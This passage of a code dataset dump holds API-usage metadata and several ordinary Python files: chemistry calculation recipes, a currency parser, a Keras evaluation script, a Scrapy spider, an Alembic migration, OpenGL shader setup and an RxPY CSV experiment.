{"api_name": "rapidannotator.app", "line_number": 46, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 54, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint.route", "line_number": 38, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "rapidannotator.models.Clustering.query.filter_by", "line_number": 64, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query", "line_number": 64, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 68, "usage_type": "call"}, {"api_name": "rapidannotator.db.session.commit", "line_number": 72, "usage_type": "call"}, {"api_name": "rapidannotator.db.session", "line_number": 72, "usage_type": "attribute"}, {"api_name": "rapidannotator.db", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 76, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint.route", "line_number": 56, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 82, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "rapidannotator.app.config", "line_number": 87, "usage_type": "attribute"}, {"api_name": "rapidannotator.app", "line_number": 87, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 97, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query.filter_by", "line_number": 100, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query", "line_number": 100, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 100, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 105, "usage_type": "call"}, {"api_name": "rapidannotator.db.session.commit", "line_number": 108, "usage_type": "call"}, {"api_name": "rapidannotator.db.session", "line_number": 108, "usage_type": "attribute"}, {"api_name": "rapidannotator.db", "line_number": 108, "usage_type": "name"}, {"api_name": "rapidannotator.models.Experiment.query.filter_by", "line_number": 111, "usage_type": "call"}, {"api_name": "rapidannotator.models.Experiment.query", "line_number": 111, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Experiment", "line_number": 111, "usage_type": "name"}, {"api_name": "rapidannotator.models.User.query.filter_by", "line_number": 113, "usage_type": "call"}, {"api_name": "rapidannotator.models.User.query", "line_number": 113, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.User", "line_number": 113, "usage_type": "name"}, {"api_name": "rapidannotator.models.NotificationInfo", "line_number": 118, "usage_type": "call"}, {"api_name": "rapidannotator.db.session.add", "line_number": 122, "usage_type": "call"}, {"api_name": "rapidannotator.db.session", "line_number": 122, "usage_type": "attribute"}, {"api_name": "rapidannotator.db", "line_number": 122, "usage_type": "name"}, {"api_name": "rapidannotator.db.session.commit", "line_number": 123, "usage_type": "call"}, {"api_name": "rapidannotator.db.session", "line_number": 123, "usage_type": "attribute"}, {"api_name": "rapidannotator.db", "line_number": 123, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 127, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint.route", "line_number": 79, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 131, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 131, "usage_type": "name"}, {"api_name": "rapidannotator.models.Clustering.query.filter_by", "line_number": 135, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query", "line_number": 135, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 135, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 135, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 135, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 144, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint.route", "line_number": 129, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint", "line_number": 129, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 148, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 148, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 148, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 149, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 149, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 149, "usage_type": "name"}, {"api_name": "rapidannotator.models.Clustering.query.filter_by", "line_number": 150, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query", "line_number": 150, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 150, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 150, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 150, "usage_type": "name"}, {"api_name": "rapidannotator.db.session.commit", "line_number": 159, "usage_type": "call"}, {"api_name": "rapidannotator.db.session", "line_number": 159, "usage_type": "attribute"}, {"api_name": "rapidannotator.db", "line_number": 159, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 161, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint.route", "line_number": 146, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint", "line_number": 146, "usage_type": "name"}]} {"seq_id": "307042970", "text": "\"\"\"Core recipes for EMT\"\"\"\nfrom __future__ import annotations\n\nimport covalent as ct\nfrom ase import Atoms\nfrom ase.calculators.lj import LennardJones\n\nfrom quacc.schemas.ase import summarize_opt_run, summarize_run\nfrom quacc.util.atoms import copy_atoms\nfrom quacc.util.calc import run_ase_opt, run_calc\nfrom quacc.util.dicts import merge_dicts\n\n# NOTE: This set of minimal recipes is mainly for demonstration purposes\n\n\n@ct.electron\ndef static_job(\n atoms: Atoms,\n lj_kwargs: dict | None = None,\n) -> dict:\n \"\"\"\n Function to carry out a static calculation.\n\n Parameters\n ----------\n atoms\n .Atoms object\n lj_kwargs\n Dictionary of custom kwargs for the LJ calculator.\n\n Returns\n -------\n summary\n Summary of the run.\n \"\"\"\n\n lj_kwargs = lj_kwargs or {}\n input_atoms = copy_atoms(atoms)\n\n defaults = {\"epsilon\": 1.0, \"sigma\": 1.0}\n flags = merge_dicts(defaults, lj_kwargs)\n\n atoms.calc = LennardJones(**flags)\n atoms = run_calc(atoms)\n\n return summarize_run(\n atoms, input_atoms=input_atoms, additional_fields={\"name\": \"LJ Static\"}\n )\n\n\n@ct.electron\ndef relax_job(\n atoms: Atoms,\n fmax: float = 0.01,\n max_steps: int = 1000,\n optimizer: str = \"FIRE\",\n lj_kwargs: dict | None = None,\n opt_kwargs: dict | None = None,\n) -> dict:\n \"\"\"\n Function to carry out a geometry optimization.\n\n Parameters\n ----------\n atoms\n .Atoms object\n fmax\n Tolerance for the force convergence (in eV/A).\n max_steps\n Maximum number of steps to take.\n optimizer\n .Optimizer class to use for the relaxation.\n lj_kwargs\n Dictionary of custom kwargs for the LJ calculator.\n opt_kwargs\n Dictionary of kwargs for the optimizer.\n\n Returns\n -------\n summary\n Summary of the run.\n \"\"\"\n\n lj_kwargs = lj_kwargs or {}\n opt_kwargs = opt_kwargs or {}\n\n defaults = {\"epsilon\": 1.0, \"sigma\": 1.0}\n flags = merge_dicts(defaults, lj_kwargs)\n\n atoms.calc = LennardJones(**flags)\n traj = run_ase_opt(\n atoms,\n fmax=fmax,\n max_steps=max_steps,\n optimizer=optimizer,\n opt_kwargs=opt_kwargs,\n )\n\n return summarize_opt_run(\n traj, atoms.calc.parameters, additional_fields={\"name\": \"LJ Relax\"}\n )\n", "sub_path": "quacc/recipes/lj/core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 2313, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ase.Atoms", "line_number": 18, "usage_type": "name"}, {"api_name": "quacc.util.atoms.copy_atoms", "line_number": 38, "usage_type": "call"}, {"api_name": "quacc.util.dicts.merge_dicts", "line_number": 41, "usage_type": "call"}, {"api_name": "ase.calculators.lj.LennardJones", "line_number": 43, "usage_type": "call"}, {"api_name": "quacc.util.calc.run_calc", "line_number": 44, "usage_type": "call"}, {"api_name": "quacc.schemas.ase.summarize_run", "line_number": 46, "usage_type": "call"}, {"api_name": "covalent.electron", "line_number": 16, "usage_type": "attribute"}, {"api_name": "ase.Atoms", "line_number": 53, "usage_type": "name"}, {"api_name": "quacc.util.dicts.merge_dicts", "line_number": 88, "usage_type": "call"}, {"api_name": "ase.calculators.lj.LennardJones", "line_number": 90, "usage_type": "call"}, {"api_name": "quacc.util.calc.run_ase_opt", "line_number": 91, "usage_type": "call"}, {"api_name": "quacc.schemas.ase.summarize_opt_run", "line_number": 99, "usage_type": "call"}, {"api_name": "covalent.electron", "line_number": 51, "usage_type": "attribute"}]} {"seq_id": "445470762", "text": "\"\"\"This processor parses currency fields and returns floats.\"\"\"\nfrom logging import warning\n\nfrom datapackage_pipelines.wrapper import ingest, spew\nfrom common.utilities import process, format_to_json\n\n\ndef parse_currencies(row, fields=None, characters=None):\n \"\"\"Clean up and convert currency fields to floats.\"\"\"\n\n assert fields, 'Missing `fields` parameter'\n assert characters, 'Missing `characters` parameter'\n\n for key in fields:\n if row[key] is not None:\n row[key] = str(row[key])\n\n if not row[key].strip():\n row[key] = None\n else:\n try:\n row[key] = float(row[key]\n .replace(characters['currency'], '')\n .replace(characters['grouping'], '')\n .replace(characters['decimal'], '.')\n .strip())\n except ValueError as error:\n warning('%s in row\\n%s', error, format_to_json(row))\n return row\n\n\nif __name__ == '__main__':\n parameters, datapackage_, resources = ingest()\n new_resources_ = process(resources, parse_currencies, **parameters)\n spew(datapackage_, new_resources_)\n", "sub_path": "eu-structural-funds/common/processors/parse_currency_fields.py", "file_name": "parse_currency_fields.py", "file_ext": "py", "file_size_in_byte": 1264, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.warning", "line_number": 28, "usage_type": "call"}, {"api_name": "common.utilities.format_to_json", "line_number": 28, "usage_type": "call"}, {"api_name": "datapackage_pipelines.wrapper.ingest", "line_number": 33, "usage_type": "call"}, {"api_name": "common.utilities.process", "line_number": 34, "usage_type": "call"}, {"api_name": "datapackage_pipelines.wrapper.spew", "line_number": 35, "usage_type": "call"}]} {"seq_id": "332176967", "text": "import h5py, os\nimport matplotlib.pyplot as plt\nfrom tensorflow import keras\nimport tensorflow as tf\nimport numpy as np\nfrom sequence import DataSequenceFromFile\nfrom metrics import fig_to_np\n\nmodel = keras.models.load_model('../models/models/model_0524_144435')\n\ndef plot_value_array(prediction, true_label):\n plt.grid(False)\n plt.xticks(range(len(true_label)))\n plt.yticks([])\n plt.ylim([0, 1])\n plt.bar(range(len(true_label)), true_label, color='#44884444')\n plt.bar(range(len(true_label)), prediction, color='#444444ff')\n\nwith h5py.File('../data/preprocessed/data_test_432.hdf5', 'r') as f:\n for sample in range(10):\n print('Prediction of sample #' + str(sample))\n img = (np.expand_dims(f['X'][sample], 0))\n predictions_single = model.predict(img)[0]\n plot_value_array(predictions_single, f['y'][sample])\n _ = plt.xticks(range(14))\n plt.show()\n\n model.evaluate(f['X'][...], f['y'][...])", "sub_path": "python/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 956, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.keras.models.load_model", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.keras.models", "line_number": 9, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}]} {"seq_id": "330266184", "text": "# -*- coding: utf-8 -*-\nimport scrapy\n\nfrom tutorial.items import TutorialItem\nclass DmonSpiderSpider(scrapy.Spider):\n name = 'dmon_spider'\n allowed_domains = ['dmoz.org']\n start_urls = ['https://www.amazon.cn/s?ie=UTF8&search-type=ss&index=books&field-keywords=Python%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B8%8E%E6%8C%96%E6%8E%98%E5%AE%9E%E6%88%98&tag=baiduiclickcn-23&ref=Book_17417_zhj_5279']\n\n def parse(self, response):\n # filename = response.url.rsplit('/')[2] + '.html'\n # with open(filename,'wb') as e:\n # e.write(response.body)\n lis =response.xpath('//*[@id=\"result_1\"]/div/div/div/div[2]/div[1]/div[1]/a/h2')\n for li in lis:\n item = TutorialItem()\n item['title'] = li.xpath('a/text()').extract()\n item['link'] = li.xpath('a/@href')\n item['desc'] = li.xpath('text()')\n yield item", "sub_path": "tutorial/tutorial/spiders/dmon_spider.py", "file_name": "dmon_spider.py", "file_ext": "py", "file_size_in_byte": 895, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scrapy.Spider", "line_number": 5, "usage_type": "attribute"}, {"api_name": "tutorial.items.TutorialItem", "line_number": 16, "usage_type": "call"}]} {"seq_id": "580870849", "text": "import torch\nimport os\nimport argparse\n\nfrom helpers import *\nfrom model import *\n\n\"\"\"\nThis class is for generating lyrics from a trained model.\n\"\"\"\n\nclass Generator:\n\n def __init__(self, filename):\n self.decoder = torch.load(filename)\n\n def generate(self, prime_str='A', predict_len=100, temperature=0.8, cuda=False):\n hidden = self.decoder.init_hidden(1)\n prime_input = Variable(char_tensor(prime_str).unsqueeze(0))\n\n if cuda:\n hidden = hidden.cuda()\n prime_input = prime_input.cuda()\n predicted = prime_str\n\n # Use priming string to \"build up\" hidden state\n for p in range(len(prime_str) - 1):\n _, hidden = self.decoder(prime_input[:,p], hidden)\n\n inp = prime_input[:,-1]\n\n for p in range(predict_len):\n output, hidden = self.decoder(inp, hidden)\n\n # Sample from the network as a multinomial distribution\n output_dist = output.data.view(-1).div(temperature).exp()\n top_i = torch.multinomial(output_dist, 1)[0]\n\n # Add predicted character to string and use as next input\n predicted_char = all_characters[top_i]\n predicted += predicted_char\n inp = Variable(char_tensor(predicted_char).unsqueeze(0))\n if cuda:\n inp = inp.cuda()\n\n print('>>> generated lyrics:')\n print(predicted)", "sub_path": "generator.py", "file_name": "generator.py", "file_ext": "py", "file_size_in_byte": 1408, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.load", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.multinomial", "line_number": 37, "usage_type": "call"}]} {"seq_id": "194495310", "text": "\"\"\"columns weight, height, length, width altered for not null\n\nRevision ID: 00fbdb3c3ccc\nRevises: 9a6c8eb30815\nCreate Date: 2021-10-18 14:33:11.779427\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '00fbdb3c3ccc'\ndown_revision = '9a6c8eb30815'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.execute(\"UPDATE products SET weight = '' WHERE weight is NULL\")\n op.execute(\"UPDATE products SET height = '' WHERE height is NULL\")\n op.execute(\"UPDATE products SET length = '' WHERE length is NULL\")\n op.execute(\"UPDATE products SET width = '' WHERE width is NULL\")\n op.alter_column('products', 'weight',\n existing_type=sa.VARCHAR(length=16),\n nullable=False)\n op.alter_column('products', 'height',\n existing_type=sa.VARCHAR(length=16),\n nullable=False)\n op.alter_column('products', 'length',\n existing_type=sa.VARCHAR(length=16),\n nullable=False)\n op.alter_column('products', 'width',\n existing_type=sa.VARCHAR(length=16),\n nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('shipping_companies', 'minimum_shipping_price',\n existing_type=sa.INTEGER(),\n nullable=False)\n op.alter_column('products', 'width',\n existing_type=sa.VARCHAR(length=16),\n nullable=True)\n op.alter_column('products', 'length',\n existing_type=sa.VARCHAR(length=16),\n nullable=True)\n op.alter_column('products', 'height',\n existing_type=sa.VARCHAR(length=16),\n nullable=True)\n op.alter_column('products', 'weight',\n existing_type=sa.VARCHAR(length=16),\n nullable=True)\n # ### end Alembic commands ###\n", "sub_path": "migrations/versions/00fbdb3c3ccc_columns_weight_height_length_width_.py", "file_name": "00fbdb3c3ccc_columns_weight_height_length_width_.py", "file_ext": "py", "file_size_in_byte": 1998, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "alembic.op.execute", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "alembic.op.execute", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "alembic.op.execute", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 23, "usage_type": "name"}, {"api_name": "alembic.op.execute", "line_number": 24, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 24, "usage_type": "name"}, {"api_name": "alembic.op.alter_column", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 25, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 26, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 28, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 28, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 31, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 34, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 34, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 42, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 42, "usage_type": "name"}, {"api_name": "sqlalchemy.INTEGER", "line_number": 43, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 45, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 45, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 46, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 48, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 48, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 49, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 51, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 51, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 52, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 54, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 54, "usage_type": "name"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 55, "usage_type": "call"}]} {"seq_id": "572218589", "text": "import sys\nimport OpenGL.GL as gl\nimport OpenGL.GLUT as glut\n\ndef display():\n\tglut.glutSwapBuffers()\n\ndef reshape(width, height):\n\tgl.glViewport(0, 0, width, height)\n\ndef keyboard(key, x, y):\n\tif key == b'\\x1b':\n\t\tsys.exit(0)\n\nglut.glutInit()\nglut.glutInitDisplayMode(glut.GLUT_DOUBLE | glut.GLUT_RGBA)\nglut.glutCreateWindow(\"glut window\")\nglut.glutReshapeWindow(512, 512)\nglut.glutReshapeFunc(reshape)\nglut.glutDisplayFunc(display)\nglut.glutKeyboardFunc(keyboard)\nglut.glutMainLoop()\n\n\n# need to request program and shader slots from the GPU\nprogram = gl.glCreateProgram()\nvertex = gl.glCreateShader(gl.GL_VERTEX_SHADER)\nfragment = gl.glCreateShader(gl.GL_FRAGMENT_SHADER)\n\n\n# ask for the compilation of our shaders into GPU objects and we log for any error\nvertex_code = \"\"\"\n\tattribute vec2 position;\n\tvoid main() { gl_Position = vec4(position, 0.0, 1.0); } \"\"\"\n\nfragment_code = \"\"\"\n\tvoid main() { gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0); } \"\"\"\n\n# Set shaders source\ngl.glShaderSource(vertex, vertex_code)\ngl.glShaderSource(fragment, fragment_code)\n\n# Compile shaders\ngl.glCompileShader(vertex)\nif not gl.glGetShaderiv(vertex, gl.GL_COMPILE_STATUS):\n error = gl.glGetShaderInfoLog(vertex).decode()\n print(error)\n raise RuntimeError(\"Vertex shader compilation error\")\n\ngl.glCompileShader(fragment)\nif not gl.glGetShaderiv(fragment, gl.GL_COMPILE_STATUS):\n error = gl.glGetShaderInfoLog(fragment).decode()\n print(error)\n raise RuntimeError(\"Fragment shader compilation error\")\n\n# link our two objects in into a program and again\n# we check for errors during the process\ngl.glAttachShader(program, vertex)\ngl.glAttachShader(program, fragment)\ngl.glLinkProgram(program)\n\nif not gl.glGetProgramiv(program, gl.GL_LINK_STATUS):\n print(gl.glGetProgramInfoLog(program))\n raise RuntimeError('Linking error')\n", "sub_path": "003_shaders.py", "file_name": "003_shaders.py", "file_ext": "py", "file_size_in_byte": 1824, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "OpenGL.GLUT.glutSwapBuffers", "line_number": 6, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 6, "usage_type": "name"}, {"api_name": "OpenGL.GL.glViewport", "line_number": 9, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 9, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 13, "usage_type": "call"}, {"api_name": "OpenGL.GLUT.glutInit", "line_number": 15, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 15, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutInitDisplayMode", "line_number": 16, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 16, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.GLUT_DOUBLE", "line_number": 16, "usage_type": "attribute"}, {"api_name": "OpenGL.GLUT.GLUT_RGBA", "line_number": 16, "usage_type": "attribute"}, {"api_name": "OpenGL.GLUT.glutCreateWindow", "line_number": 17, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 17, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutReshapeWindow", "line_number": 18, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 18, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutReshapeFunc", "line_number": 19, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 19, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutDisplayFunc", "line_number": 20, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 20, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutKeyboardFunc", "line_number": 21, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 21, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutMainLoop", "line_number": 22, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 22, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCreateProgram", "line_number": 26, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 26, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCreateShader", "line_number": 27, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 27, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_VERTEX_SHADER", "line_number": 27, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glCreateShader", "line_number": 28, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 28, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_FRAGMENT_SHADER", "line_number": 28, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glShaderSource", "line_number": 40, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 40, "usage_type": "name"}, {"api_name": "OpenGL.GL.glShaderSource", "line_number": 41, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 41, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCompileShader", "line_number": 44, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 44, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetShaderiv", "line_number": 45, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 45, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COMPILE_STATUS", "line_number": 45, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetShaderInfoLog", "line_number": 46, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 46, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCompileShader", "line_number": 50, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 50, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetShaderiv", "line_number": 51, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 51, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COMPILE_STATUS", "line_number": 51, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetShaderInfoLog", "line_number": 52, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 52, "usage_type": "name"}, {"api_name": "OpenGL.GL.glAttachShader", "line_number": 58, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 58, "usage_type": "name"}, {"api_name": "OpenGL.GL.glAttachShader", "line_number": 59, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 59, "usage_type": "name"}, {"api_name": "OpenGL.GL.glLinkProgram", "line_number": 60, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 60, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetProgramiv", "line_number": 62, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 62, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_LINK_STATUS", "line_number": 62, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetProgramInfoLog", "line_number": 63, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 63, "usage_type": "name"}]} {"seq_id": "329811751", "text": "import csv\n\nfrom rx import Observable\n\nfilename = '100 Sales Records.csv'\n\ndef read_csv_file(filename):\n with open(filename) as file:\n lines = file.readlines()\n return lines[0], csv.reader(lines[1:])\n\nif __name__ == '__main_1_':\n Observable.from_([{'1':2}, {'2':7}, {'5':3}]).merge_all().subscribe(lambda g: print(g))\n\nif __name__ == '__main__':\n header, reader = read_csv_file(filename)\n header = header.split(',')\n # f = list(reader)[0]\n #\n # for i, t in zip(f, header):\n # print(i, t)\n\n # print({k:v for k,v in zip(header, f)})\n\n def to_d(row):\n print(row)\n print(len(header), len(row))\n d = {}\n for k,v in zip(header, row):\n # print(k, ' == ', v)\n d[k] = v\n\n print(d)\n return d\n\n def ff(row):\n print('row', row)\n return row.to_list()\n # Observable.from_(row).merge().subscribe(lambda g: print('g', g))\n Observable.merge(row[:]).subscribe(lambda g: print('g', g))\n # return row.flat_map(lambda i: i.flat_map(lambda y:y.flat_map(lambda o:o)))\n return Observable.merge(row[:])\n return row.merge_all()\n\n def subdictes_to_dict(row):\n d = {}\n\n for x in row:\n d.update(x)\n\n return d\n\n source = Observable.from_iterable(reader)\\\n .map(lambda row: Observable.zip(Observable.from_(header), row, lambda k,v: {k:v}))\\\n .map(lambda x: x.to_list().map(subdictes_to_dict))#.subscribe(lambda r: print(r, end=\"\\n\\n\\n\"))\n\n print(source.flat_map(lambda x: x).subscribe(lambda x: print(x)))\n # Observable.merge(source[:]).merge_all()\n", "sub_path": "observ2/rxcsv.py", "file_name": "rxcsv.py", "file_ext": "py", "file_size_in_byte": 1640, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": 